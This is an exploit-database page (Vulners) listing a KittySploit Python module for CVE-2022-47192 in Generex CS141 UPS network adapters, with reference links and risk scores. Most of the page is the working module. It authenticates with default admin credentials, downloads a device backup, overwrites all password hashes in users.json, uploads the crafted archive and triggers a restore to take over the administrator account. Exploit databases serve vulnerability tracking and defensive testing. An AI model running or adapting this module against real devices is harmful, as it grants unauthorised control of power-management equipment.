Lucene search
+L

Generex CS141 CVE-2022-47192 - Admin Password Reset via Backup Upload

🗓️ 17 Apr 2026 09:19:04Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Generex UPS CS141 allows admin password reset via a modified users.json in a backup archive.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2022-47192
6 Mar 202318:07
–circl
cnnvd
CNNVD
Generex UPS Adapter CS141 安全漏洞
31 Mar 202300:00
–cnnvd
cve
CVE
CVE-2022-47192
31 Mar 202300:00
–cve
cvelist
Cvelist
CVE-2022-47192 Admin password reset via file upload vulnerability in Generex CS141
31 Mar 202300:00
–cvelist
euvd
EUVD
EUVD-2022-49967
3 Oct 202520:07
–euvd
kitploit
Kitploit
Thunderstorm - Modular Framework To Exploit UPS Devices
6 Mar 202311:30
–kitploit
kitploit
Kitploit
Thunderstorm
18 Oct 202616:09
–kitploit
nvd
NVD
CVE-2022-47192
31 Mar 202322:15
–nvd
osv_cve
osv_cve
CVE-2022-47192
31 Mar 202322:15
–osv_cve
prion
Prion
Design/Logic Flaw
31 Mar 202322:15
–prion
Rows per page
import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141


class Module(Auxiliary, Http_client, CS141):
    __info__ = {
        "name": "Generex CS141 CVE-2022-47192 - Admin Password Reset via Backup Upload",
        "description": (
            "Generex UPS CS141 below 2.06 allows a crafted backup archive with a modified users.json "
            "to be restored, replacing the administrator password hash."
        ),
        "author": ["JoelGMSec", "KittySploit Team"],
        "cve": "CVE-2022-47192",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-47192",
            "https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
        ],
        "tags": ["cs141", "backup", "password-reset"],
    }

    username = OptString("admin", "CS141 username", required=True)
    password = OptString("cs141-snmp", "CS141 password", required=True)
    try_default_credentials = OptBool(True, "Fallback to the default admin credentials", required=False)
    wait_seconds = OptInteger(30, "Seconds to wait for restore completion", required=False)
    password_hash = OptString(CS141.DEFAULT_PASSWORD_HASH, "Hash to write into users.json", required=False)
    password_label = OptString("cs141-snmp", "Operator-facing plaintext label for the password hash", required=False)

    def check(self):
        auth_ctx = self.cs141_get_auth_context(self.username, self.password, bool(self.try_default_credentials))
        if not auth_ctx:
            return {"vulnerable": False, "reason": "Authentication failed", "confidence": "low"}

        backup = self.cs141_download_backup(auth_ctx)
        if backup:
            return {"vulnerable": True, "reason": "Backup download succeeded", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Backup download failed", "confidence": "low"}

    def run(self):
        auth_ctx = self.cs141_get_auth_context(self.username, self.password, bool(self.try_default_credentials))
        if not auth_ctx:
            print_error("Unable to authenticate or prepare a default-credential context")
            return False

        backup = self.cs141_download_backup(auth_ctx)
        if not backup:
            print_error("Failed to download the current backup archive")
            return False

        ctx = None
        try:
            ctx = self.cs141_extract_backup(backup)
            users_file = ctx["system_dir"] / "etc" / "gxserve" / "users.json"
            if not users_file.exists():
                print_error("users.json was not found in the extracted backup")
                return False

            data = json.loads(users_file.read_text(encoding="utf-8"))
            for user in data.get("local", {}).get("users", []):
                user["password"] = self.password_hash
            data["admin"] = self.password_hash
            users_file.write_text(json.dumps(data, indent=2), encoding="utf-8")

            evil_backup = self.cs141_rebuild_backup(ctx)
            response = self.cs141_upload_backup(evil_backup, auth_ctx)
            if not response or not getattr(response, "ok", False):
                print_error("Failed to upload the crafted backup archive")
                return False

            self.cs141_trigger_restore(auth_ctx)
            print_status(f"Restore triggered, waiting {self.wait_seconds} second(s)...")
            time.sleep(int(self.wait_seconds))
            print_success(f"Administrator password reset completed. Expected password label: {self.password_label}")
            return True
        finally:
            if ctx:
                self.cs141_cleanup_workdir(ctx)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 09:19Current
8.2High risk
Vulners AI Score8.2
CVSS 3.18.8
EPSS0.01301
SSVC
2